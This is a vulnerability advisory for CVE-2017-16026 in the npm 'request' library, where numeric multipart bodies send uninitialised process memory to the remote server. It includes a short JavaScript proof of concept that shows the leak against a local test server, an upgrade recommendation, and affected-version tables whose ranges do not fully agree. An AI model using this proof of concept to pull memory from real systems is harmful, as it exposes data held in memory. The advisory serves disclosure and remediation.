CVE-2017-16026
Remote Memory Exposure in request
Impact
Affected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body. ## Proof of Concept ```js var request = require('request'); var http = require('http'); var serveFunction = function (req, res){ req.on('data', function (data) { console.log(data) }); res.end(); }; var server = http.createServer(serveFunction); server.listen(8000); request({ method: "POST", uri: 'http://localhost:8000', multipart: [{body:500}] },function(err,res,body){}); ``` ## Recommendation Update to version 2.68.0 or later
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | request | >= 2.49.0, < 2.68.0 | 2.68.0 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Request Project | Request | from 2.2.6 before 2.47.0 after 2.51.0 through 2.67.0 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/request/request/issues/1904
- https://github.com/request/request/pull/2018
- https://nodesecurity.io/advisories/309
- https://github.com/advisories/GHSA-7xfp-9c55-5vqj
- https://nvd.nist.gov/vuln/detail/CVE-2017-16026
- https://github.com/request/request/pull/2022
- https://github.com/request/request/commit/29d81814bc16bc79cb112b4face8be6fc00061dd